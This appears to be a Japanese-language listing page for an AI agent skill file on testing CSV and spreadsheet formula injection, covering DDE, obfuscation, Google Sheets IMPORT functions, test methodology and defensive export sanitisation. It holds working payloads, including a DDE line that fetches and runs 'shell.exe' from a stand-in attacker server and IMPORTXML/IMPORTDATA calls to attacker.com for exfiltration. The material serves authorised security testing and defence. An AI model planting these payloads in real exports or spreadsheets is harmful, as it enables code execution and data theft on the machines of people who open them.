csv-formula-injection
CSVやスプレッドシートへの数式インジェクション(DDE、Excel/LibreOffice、Google SheetsのIMPORT*関数など)を検証するスキル。エクスポート・インポート機能やユーザー入力フィールドがスプレッドシートやレポートツールに連携される場合に使用する。
description の原文を見る
>- CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.
SKILL.md 本文
SKILL: CSV式インジェクション
AI LOAD INSTRUCTION: このスキルは、CSVおよびスプレッドシートコンテキストにおける式/DDEスタイルのインジェクション、難読化、クラウドシート基本要素、および安全なテスト方法論をカバーします。明示的な認可がある場合のみ使用してください。ローカルコマンドまたはリモートフェッチを呼び出すペイロードは影響が大きいため、ラボターゲットを優先し、同意を文書化してください。プログラムルールがクライアント側実行テストを許可していない限り、エンドユーザーをターゲットにしないでください。
0. クイックスタート
Excel、LibreOffice Calc、または類似ソフトウェアでセルを開いたときに式評価をトリガーする可能性がある文字 (多くの場合、セルが式として解釈される場合のみ):
=
+
-
@
テストセルは以下のようになります:
name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)
ルーティング注記: CSVエクスポート、バックオフィスレポート、またはスプレッドシートで開かれるユーザーデータをテストするときは、これらのプレフィックス文字を優先してください。
1. DDEインジェクション (EXCEL / LIBREOFFICE)
Dynamic Data Exchange (DDE) およびスプレッドシートで歴史的に悪用された外部呼び出しパターン。管理されたラボでの再現例:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
PowerShellスタイルのチェーニング (ラボのみ; ホストとペイロードを無害な同等物に置き換えてください):
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
2. 難読化
防御的なパーサーは明白なパターンをストリップするため、テスターはノイズと間隔を試す場合があります (許可されている場合のみ):
AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
= の後の余分な空白:
= cmd|'/c calc.exe'!A
分散文字 / 異常な間隔 (概念パターン—パーサーごとに調整してください):
= C m D |'/c calc.exe'!A
rundll32 スタイル:
=rundll32|'URL.dll,OpenURL calc.exe'!A
3. GOOGLE SHEETS
エクスポートされたデータが後で Google Sheets で開かれた場合、またはシートが信頼されていないCSVから取得する場合、これらの関数はアウトバウンドリクエストまたはクロスドキュメントデータプルを引き起こします:
データ流出 / プローブ (URLを認可されたコールバックに置き換えてください):
=IMPORTXML("http://attacker.com/", "//a/@href")
その他のハイリスク import:
=IMPORTRANGE("spreadsheet_url", "range")
=IMPORTHTML("http://attacker.com/table", "table", 1)
=IMPORTFEED("http://attacker.com/feed.xml")
=IMPORTDATA("http://attacker.com/data.csv")
どの関数が実行されたか、およびどのようなネットワーク副作用が発生したかを文書化してください。
4. テスト方法論
- シンクをマッピング — CSV、XLSX、またはタブ区切り出力を発する任意の機能: 管理者エクスポート、監査ログ、ユーザー名簿、請求レポート、検索結果。
- ユーザー制御フィールドをトレース — プロフィールフィールド、チケットタイトル、トランザクションメモ、タグ、ZIPエクスポート内のファイル名—保存されたインプットをエコーするあらゆるカラム。
- 式プレフィックスをインジェクト — 無害な算術 (
=1+1,+1+1) で開始して評価を検出し、ルールに従ってのみエスカレートしてください。 - ターゲットソフトウェアで開く — 被害者のワークフローを一致させてください: Excelデスクトップ、LibreOffice、Google Sheetsインポート、ロケール固有の小数区切り文字。
- 証拠 — セルが計算結果、セキュリティ警告、またはDDEプロンプトを表示するかどうかをスクリーンショット/キャプチャしてください; 製品バージョンをメモしてください。
注記: ユーザーインプット -> エクスポート -> スプレッドシートソフトウェアで開く チェーンに焦点を当ててください。
5. 防御
アプリケーションおよびエクスポート層の軽減:
- シングルクォートでプレフィックス — 多くのスプレッドシートアプリでは、先頭の
'はテキスト解釈を強制します:'=cmd|...は文字通りに表示されます。 - タブでプレフィックス — いくつかのパイプラインは、正しく取り込まれたとき、タブでプレフィックスされたフィールドを非式テキストとして扱います。
- 先頭トリガーをストリップまたは中立化 — エクスポート時に先頭の
=,+,-,@(およびUnicodeルックアライク) を削除またはエスケープします。 - CSVエンコーディング — 一貫したクォーティングを使用し、カラムタイプを検証し、サニタイゼーションなしで生の式文字列を財務/レポートテンプレートに渡さないでください。
- ユーザー教育 — ポリシーなしに外部データ / DDEを有効にしないでください。
安全なエクスポート変換例 (概念):
Input: =1+1
Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
注記: ビジネスエクスポート、レポート、およびAPIエクスポートパラメータを相互参照する場合、インジェクション、ビジネスロジック、およびAPI-セキュリティスキルと組み合わせてください。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
hugging-face-trackio
Trackioを使用してMLトレーニング実験を追跡・可視化できます。トレーニング中のメトリクスログ記録(Python API)、トレーニング診断のアラート発火、ログされたメトリクスの取得・分析(CLI)が必要な場合に活用してください。リアルタイムダッシュボード表示、Webhookを使用したアラート、HF Space同期、自動化向けのJSON出力に対応しています。
btc-bottom-model
ビットコインのサイクルタイミングモデルで、加重スコアリングシステムを搭載しています。日次パルス(4指標、32ポイント)とウィークリー構造(9指標、68ポイント)の2カテゴリーにわたる13の指標を追跡し、0~100のマーケットヒートスコアを算出します。ETFフロー、ファンディングレート、ロング/ショート比率、恐怖・貪欲指数、LTH-MVRV、NUPL、SOPR(LTH+STH)、LTH供給率、移動平均倍率(365日MA、200週MA)、週次RSI、出来高トレンドに対応します。市場サイクル全体を通じて買いと売りの両方の推奨を提供します。ビットコインの底値拾い、BTCサイクルポジション、買い時・売り時、オンチェーン指標、MVRV、NUPL、SOPR、LTH動向、ETFの流出入、ファンディングレート、恐怖指数、ビットコインが過熱状態か、マイナーコスト、暗号資産市場のセンチメント、BTCのポジションサイジング、「今ビットコインを買うべきか」「BTCが天井をつけているか」「オンチェーン指標は何を示しているか」といった質問の際にこのスキルを活用します。
protein_solubility_optimization
タンパク質の溶解性最適化 - タンパク質の溶解性を最適化します。タンパク質の特性を計算し、溶解性と親水性を予測し、有効な変異を提案します。タンパク質配列の特性計算、タンパク質機能の予測、親水性計算、ゼロショット配列予測を含むタンパク質エンジニアリング業務に使用できます。3つのSCPサーバーから4つのツールを統合しています。
research-lookup
Parallel Chat APIまたはPerplexity sonar-pro-searchを使用して、最新の研究情報を検索できます。学術論文の検索にも対応しています。クエリは自動的に最適なバックエンドにルーティングされるため、論文の検索、研究データの収集、科学情報の検証に活用できます。
tree-formatting
ggtree(R)またはiTOL(ウェブ)を使用して、系統樹の可視化とフォーマットを行います。系統樹を図として描画する際、ツリーレイアウトの選択、分類学に基づく枝やラベルの色付け、クレードの折りたたみ、サポート値の表示、またはツリーへのオーバーレイ追加が必要な場合に使用してください。系統推定(protein-phylogenyスキルを使用)やドメイン注釈(今後の独立したスキル)には使用しないでください。
querying-indonesian-gov-data
インドネシア政府の50以上のAPIとデータソースに接続できます。BPJPH(ハラール認証)、BOM(食品安全)、OJK(金融適正性)、BPS(統計)、BMKG(気象・地震)、インドネシア中央銀行(為替レート)、IDX(株式)、CKAN公開データポータル、pasal.id(第三者法MCP)に対応しています。インドネシア政府データを活用したアプリ開発、.go.idウェブサイトのスクレイピング、ハラール認証の確認、企業の法的適正性の検証、金融機関ステータスの照会、またはインドネシアMCPサーバーへの接続時に使用できます。CSRF処理、CKAN API使用方法、IP制限回避など、すぐに実行可能なPythonパターンを含んでいます。